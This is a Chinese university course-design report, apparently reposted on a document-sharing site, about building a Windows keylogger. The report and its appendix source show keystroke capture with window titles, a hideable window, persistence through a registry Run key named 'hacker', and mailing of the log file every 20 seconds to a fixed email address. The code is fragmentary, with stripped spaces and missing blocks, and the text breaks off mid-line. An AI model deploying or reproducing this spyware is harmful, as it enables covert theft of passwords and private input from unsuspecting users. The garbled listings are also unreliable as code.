网络攻防 课程设计 键盘监听 长春大学.docx
《网络攻防 课程设计 键盘监听 长春大学.docx》由会员分享,可在线阅读,更多相关《网络攻防 课程设计 键盘监听 长春大学.docx(15页珍藏版)》请在冰点文库上搜索。
网络攻防课程设计键盘监听长春大学
目录
目录1
一设计目的2
二设计内容2
三设计要求2
四设计过程2
1、窗口函数程序实现的步骤2
2、消息循环4
3、编写窗口过程函数5
4、自启动模块设计6
5、定时发送邮件模块设计6
6、程序流程图8
五设计总结9
参考文献9
一设计目的
通过本次课程设计,设计一个键盘监听程序,系统启动后自动记录所有键盘信息的功能,能够记录键盘的输入值,且该程序具有自动启动功能,并能够定期通过网络给某人的指定的邮箱发送所记录的信息。
二设计内容
1、题目分析,查找资料和总体设计。
2、详细设计、代码编制、程序调试。
系统功能要求如下:
模块一该部分通过设计一个窗口,并在窗口中响应键盘消息,记录键盘的相关按键记录,实现键盘监听的功能。
模块二该部分通过对注册表的修改,将该程写入注册表,实现该程序的随系统的启动而启动。
模块三该部分通过调用系统的定时函数,实现邮件的定时发送。
3、结果分析、完成课程设计报告。
三设计要求
1、学生能够较深入的理解网络编成的设计方法,并在所要求的设计时间内,利用自己所熟悉的语言完成本题目的程序编制。
2、程序要能正确运行,完成预功能。
3、要求设计清晰、美观的用户界面,当操作出错时,程序要有出错提示信息。
4、上交设计报告。
重点阐述程序的有关算法说明、程序的流程图以及子程序的功能和参数的说明及程序代码。
四设计过程
1、窗口函数程序实现的步骤
(1)WinMain函数的定义
WinMain函数的原型声明如下:
intWINAPIWinMain(
HINSTANCEhInstande,
HINSTANCEhPrevInstance,
LPSTRIpCmdLine,
IntnCmdShow
);
WinMain函数接收4个参数,这些参数都是在系统调用WinMian函数时,传递给应用程序的。
第一个参数hInstance表示该程序当前运行的实例的句柄。
第二个参数hPrevInstance表示当前实例的前一个实例的句柄。
第三个参数IpCmdLine是一个以空终止的空符串,第四个参数nCmdShow指定程序的窗口应该如何显示。
(2)创建一个窗口
设计一个窗口类
一个完整的窗口有许多的特征,包括光标、图标、背景色等。
因此在创建一个窗口之前,要对该类型的窗口进行设计,指定该窗口的相关特征。
Windows为我们定义了一个窗口所应该有的基本属性。
在此次的程序中,运用了wndClass这样一个函数,来实现窗口属性的设置。
其中的第二个成员变量IpfnWndProc是一个函数指针,指向窗口过程函数,窗口过程函数是一个回调函数。
回调函数在特定的事件或条件发生时由另外一方调用的,用于对该事件或条件进行响应。
(3)注册窗口类
调用RegisterClass函数对窗口进行注册,注册成功后才能创建该类型的窗口。
具体实现如下:
RegisterClass(&wndClass);
(4)创建窗口
设计好窗口并且将其注册成功后,就可以用CreateWindow函数产生这种类型的窗口了。
其函数的原型声明如下:
HWNDCreateWindow(
LPCTSTRlpClassName,//registeredclassname
LPCTSTRlpWindowName,//windowname
DWORDdwStyle,//windowstyle
intx,//horizontalpositionofwindow
inty,//verticalpositionofwindow
intnWidth,//windowwidth
intnHeight,//windowheight
HWNDhWndParent,//handletoparentorownerwindow
HMENUhMenu,//menuhandleorchildidentifier
HINSTANCEhInstance,//handletoapplicationinstance
LPVOIDlpParam//window-creationdata
);
(5)显示及更新窗口
其中,显示窗口通过ShowWindow函数实现。
更新窗口通过UpdateWindow函数实现。
到此,一个窗口函数的创建就算完成了。
2、消息循环
(1)编写一个消息循环,不断的从消息队列中取出消息,并进行响应。
要从消息队列中取出消息,我们需要调用GetMessage()函数。
通常的消息循环函数的代码如下:
while(GetMessage(&msg,NULL,0,0))//消息循环
{
TranslateMessage(&msg);//虚拟键消息转换为字符消息
DispatchMessage(&msg);//消息回传给操作系统
}
GetMessage函数只有在接收到WM_QUIT消息时,才返回0。
此时while语句的判断条件为假,循环退出,程序才能结束运行。
在没有接收到WM_QUIT消息时,Windows应用程序就通过while循环来保证程序始终处于运行状态。
Windows应用程序的消息处理机制如下图所示:
图2-1
(2)操作系统接收到应用程序的窗口消息,将消息投递到该应用程序的消息队列中。
(3)应用程序在消息循环中调用GetMessage函数从消息队列中取出一条一条的消息。
取出消息后,应用程序可以对消息进行一些预处理,例如,放弃对某些消息的响应,或者调用TranslateMessage产生新的消息。
(4)应用程序调用DispatchMessage,将消息回传给操作系统,消息是由MSG结构体对象来表示的,其中就包含了接收消息的窗口的句柄。
因此,DispatchMessage函数总能进行正确的传递。
(5)系统调用WNDCLASS结构体的IpfnWndProc成员保存的窗口过程函数的指针调用窗口过程,对消息进行处理。
(6)发送消息可以使用SendMessage和PostMessage函数。
SendMessage将消息直接发送给窗口,并调用该窗口的窗口过程进行处理。
在窗口过程对消息处理完毕后,该函数才返回。
PostMessage函数将消息放入与创建窗口的线程相关联的消息队列后立即返回。
除了两个函数外,还有一个PostThreadMessage函数,用于向线程发送消息,对于线程消息,MSG结构体中的hwnd成员为NULL。
3、编写窗口过程函数
(1)窗口过程函数用于处理发送给窗口的消息。
一个Windows应用程序的主要代码部分就集中在窗口过程函数中。
窗口过程函数的声明如下:
LRESULTCALLBACKWndProc(HWNDhWnd,UINTmessage,WPARAMwParam,LPARAMlParam)
{HDChdc;
PAINTSTRUCTps;
}
(2)具体函数中有
按键消息处理,通过WM_INPUT实现,当发现有按键消息时,通过GetRawInputData函数获得原始的按键信息,再通过WriteFile写入文件中,写下按键记录。
绘制窗口的界面,通过WM_PAINT完成。
当窗口客户区的一部分或者全部变为无效是,系统会发送WM_PAINT消息,通知应用程序重新绘制窗口,当窗口刚创建的时候,整个客户区都是无效的,因为这个时候程序还没有在窗口上绘制任何东西,当调用UpdateWindows函数时,会发送WM_PAINT消息给窗口过程,对窗口进行刷新.
完成后,需要对窗口进行撤销,使用WM_DESTROY完成。
当用户单击窗口伤的关闭按钮的时候,系统会给应用程序发送一条WM_CLOSE消息,首先弹出一个消息框,让用户确认是否结束.用户选择是,则调用DestroyWindows函数销毁窗口,DestroyWindows函数在销毁窗口后会向窗口发送WM_DESTROY消息,此时,窗口销毁了,但是应用程序并没有退出.GetMessage函数只有在收到WM_QUIT消息才返回0,此时消息循环才结束,程序退出.想要让程序退出,我们必须响应WM_DESTROY消息,并在消息响应代码中调用PostQuitMessage.向应用程序的消息队列中投递WM_QUIT消息,传递给PostQuitMessage函数的参数值将作为WM_QUIT消息的wParam参数,这个值通常用作WinMain函数的返回值。
DefWindowProc函数调用默认的窗口过程,对应用程序没有处理的其他消息进行默认处理.
4、自启动模块设计
(1)该部分通过将程序的可执行程序写入注册表,实现随着系统的启动而启动。
自启动有两种方法,第一种方法是,在本地计算机中打开注册表编辑器,找到下面的键值:
HKEY_CURRENT_USER\Software\Microsoft\WindowsNT\CurrentVersion\Windows 然后在Windows键值下新建一个字符串键值,并更名为load,双击打开这个字符串键值,接着把弹出窗口的“数值数据”中设置要随系统自动运行的程序的路径即可。
需要注意的是,输入的路径文件名是短文件名。
(2)另一种方法同样是在注册表中进行设置,找到键值:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\CommandProcessor,找到并双击“AutoRun”这项,然后将键值设置为需要启动的程序即可。
这两种方法都可以.在实验中,运用了方法一,通过"Software\\Microsoft\\Windows\\CurrentVersion\\Run";找到键值,再通过hkResult,"hacker"/注册表键名*/,0,REG_EXPAND_SZ,(unsignedchar*)"F:
\\KBDLogger\\Debug\\KBDLogger.exe",32找到路径后,将可执行程序写入注册表,实现自启动.
5、定时发送邮件模块设计
(1)邮件发送功能
通过SimpleMAPI的函数以及相关的数据结构,根据其结构可以很简单的实现发送邮件的功能。
实现一个完整的邮件发送过程,只需要一个函数“MAPISendMail()”,MAPI与邮件系统关系密切,要能够使用MAPI的功能,系统必须安装有支持MAPI的邮件系统,比如Outlook、OutlookExpress、Eudora、Netscape等.在本次设计中,邮件系统使用的是outlook,经过测试,发现没有问题。
首先是MAPI库的初始化,包括两个步骤:
装载MAPI库、得到函数入口地址。
发送邮件MAPISendMail(),发送邮件功能就是对MAPISendMail()的封装。
下面解释这个API函数的参数定义。
ULONGFARPASCALMAPISendMail(LHANDLElhSession,ULONGulUIParam,lpMapiMessagelpMessage,FLAGSflFlags,ULONGulReserved);lhSession、ulUIParam和ulReserved这三个参数,简单地设置为0就可以了。
flFlags有三个有效位,分别是MAPI_DIALOG,MAPI_LOGON_UI,MAPI_NEW_SESSION。
重点是lpMessage这个参数,它指向一个MapiMessage类型的结构,详细地定义了一个邮件的全部信息。
(2)结构MapiMessage
使用时首先定义一个MapiMessage类型的变量,将其清零。
现在我们只要简单地设定lpszSubject(标题)、lpszNoteText(正文)、lpOriginator(发件人)、nRecipCount(收件人计数,),lpRecips(一个包含全部收件人的数组),nFileCount(附件计数)、lpFiles(包含每个附件信息的数组)。
nRecipCount和nFileCount的值一定要与实际的收件人和附件数目相符。
(3)结构MapiRecipDesc
必须设置ulRecipClass、lpszName、lpszAddress
(4)结构MapiFileDesc
必须设置的有lpszPathName、nPosiotion两个参数
(5)定时功能
定时功能通过调用系统函数SetTimer()来实现。
其声明原型如下
UINT_PTRSetTimer(
HWNDhWnd,//handletowindow
UINT_PTRnIDEvent,//timeridentifier
UINTuElapse,//time-outvalue
TIMERPROClpTimerFunc//timerprocedure
);
此程序中的时间值设置的是20秒,也就是说每隔20秒,程序会向指定的邮箱发送键盘记录。
6、程序流程图
(1)键盘监控流程图
图6-1键盘监控流程图
五设计总结
通过这次的键盘监听程序的设计,使得我对窗口中响应键盘消息的机制更加深入的了解了,通过对窗口的属性设置、注册窗口类、创建窗口、显示窗口、更新窗口、消息循环、窗口过程函数的编写,具体深入的体会了窗口响应键盘消息的实现过程和方法。
同时,对于Windows的许多函数有了进一步运用与了解,如运用MAPI发送邮件的使用规则、运用CreateWindow()进行窗口的创建、窗口过程函数的编写、GetForegroundWindow的使用等等,提高了编程的能力。
关于程序运行时,无法实现邮件发送的问题,经过反复的调试,都无法发现问题。
把发送邮件的程序提取出来单独运行时,发现是没有问题的,能够正确的发送邮件。
但是,把这个程序完整的放入到整个程序中后,却无法发送邮件。
最后发现是由于进程的互斥问题。
记录的文件一直处于打开状态,并且不断地有记录向文件中写入,这时想要访问该文件当然是不被允许的。
究其原因,还是由于设计程序是没有考虑操作系统的问题,文件打开后没有立刻关闭。
在今后的程序设计中,要考虑关于操作系统的同步互斥问题。
这种问题的出现,也正好提醒我要把学过的每一门专业课都学扎实,切实提高自己的编程功力,这样,才能够做到真正的提高。
试验中遇到了不少的问题,有些通过上网查阅资料解决了,还有些通过与同学的交流,发现并解决了问题.尽管过程有些漫长,但是,在这个逐步解决问题的过程中,无论是自学能力,查阅资料的能力还是实际的动手能力都有了较大的提高.我想,只有通过不断的诸如此类的课程设计,才能够更好的检验我们平时所学的知识。
参考文献
[1]《计算机网络安全教程》石志国薛为民江俐编著清华大学出版社北京交通大学出版社2004年
[2]《计算机网络安全基础》袁津生吴砚农编人民邮电出版社2002年
[3]网站:
附录
1、窗口函数的实现源代码:
INTWINAPIWinMain(HINSTANCEhInstance,HINSTANCE,PSTR,INTiCmdShow)//主函数
{
HWNDhWnd;
MSGmsg;
WNDCLASSwndClass;
wndClass.style=CS_HREDRAW|CS_VREDRAW;
wndClass.lpfnWndProc=WndProc;
wndClass.cbClsExtra=0;
wndClass.cbWndExtra=0;
wndClass.hInstance=hInstance;
wndClass.hIcon=LoadIcon(NULL,IDI_APPLICATION);
wndClass.hCursor=LoadCursor(NULL,IDC_ARROW);
wndClass.hbrBackground=(HBRUSH)GetStockObject(WHITE_BRUSH);
wndClass.lpszMenuName=NULL;
wndClass.lpszClassName=TEXT("KBDLoger");//窗口属性设置
RegisterClass(&wndClass);//注册窗口类
hWnd=CreateWindow(//创建窗口
TEXT("KBDLoger"),//windowclassname
TEXT("KBDLoger"),//windowcaption
WS_OVERLAPPEDWINDOW,//windowstyle
200,//initialxposition
200,//initialyposition
480,//initialxsize
110,//initialysize
NULL,//parentwindowhandle
NULL,//windowmenuhandle
hInstance,//programinstancehandle
NULL);//creationparameters
while(GetMessage(&msg,NULL,0,0))//消息循环
{
TranslateMessage(&msg);//虚拟键消息转换为字符消息
DispatchMessage(&msg);//消息回传给操作系统
}
returnmsg.wParam;}
LRESULTCALLBACKWndProc(HWNDhWnd,UINTmessage,WPARAMwParam,LPARAMlParam)//窗口过程函数
{
if(raw->header.dwType==RIM_TYPEKEYBOARD)
{
hwndCW=GetForegroundWindow();//获取当前键盘焦点窗口名称
GetWindowText(hwndCW,wtitle,128);
wsprintf(vk,"[%s]:
%s\r\n",wtitle,GetKeyName(raw->data.keyboard.VKey));
if(hFile!
=INVALID_HANDLE_VALUE&&((WM_KEYDOWN==raw->data.keyboard.Message)||(WM_SYSKEYDOWN==raw->data.keyboard.Message))&&(0xFF!
=raw->data.keyboard.VKey))
{
SetFilePointer(hFile,0,NULL,FILE_END);
WriteFile(hFile,vk,strlen(vk),&dwWritten,NULL);
}
if(VK_HOME==raw->data.keyboard.VKey)//按下home键显示窗口
ShowWindow(hWnd,SW_NORMAL);
if(VK_END==raw->data.keyboard.VKey)//按下end键隐藏窗口
ShowWindow(hWnd,SW_HIDE);
}
delete[]lpb;
DefWindowProc(hWnd,message,wParam,lParam);
return0;
caseWM_PAINT:
//窗口绘制
hdc=BeginPaint(hWnd,&ps);
TextOut(hdc,10,10,szHelpInfo,strlen(szHelpInfo));
EndPaint(hWnd,&ps);
return0;
caseWM_DESTROY:
//退出窗口
PostQuitMessage(0);
CloseHandle(hFile);
return0;
default:
returnDefWindowProc(hWnd,message,wParam,lParam);//对应用程序未处理的消息提供默认处理
PVOIDGetApiAdd(LPCSTRdllname,LPCSTRprocname)
{
HMODULEhDll=LoadLibraryA(dllname);//可执行模块映射到进程地址空间
if(NULL==hDll)
returnNULL;
PVOIDpProc=GetProcAddress(hDll,procname);//获取导出函数的地址
FreeLibrary(hDll);
returnpProc;
}
2、邮件定时发送源代码
//收件人结构信息
MapiRecipDescrecip;
memset(&recip,0,sizeof(MapiRecipDesc));
recip.lpszAddress="SMTP:
yangjiankun11@";
recip.ulRecipClass=MAPI_TO;
recip.lpszName="SMTP:
yangjiankun11@";
//附件结构信息
MapiFileDescFileDesc;
memset(&FileDesc,0,sizeof(FileDesc));
FileDesc.lpszPathName="F:
\\KBDLogger\\kebodlog1.txt";
FileDesc.nPosition=(ULONG)-1;//附件在邮件中的位置
//邮件结构信息
MapiMessagemessage;
memset(&message,0,sizeof(message));
message.nRecipCount=1;//收件人的个数
message.lpRecips=&recip;//收件人信息
message.nFileCount=1;//附件的个数
message.lpFiles=&FileDesc;//附件信息
message.lpszSubject="键盘记录";//主题信息
message.lpszNoteText="";//正文内容
ULONG(PASCAL*lpfnSendMail)(ULONG,ULONG,MapiMessage*,FLAGS,ULONG);
(FARPROC&)lpfnSendMail=GetProcAddress(hMod,"MAPISendMail");取出"MAPISendMail"
3、自启动源代码
charregname[]="Software\\Microsoft\\Windows\\CurrentVersion\\Run";//修改注册表,自动启动
HKEYhkResult;
intret=RegOpenKey(HKEY_LOCAL_MACHINE,regname,&hkResult);
ret=RegSetValueEx(hkResult,"hacker"/注册表键名*/,0,REG_EXPAND_SZ,(u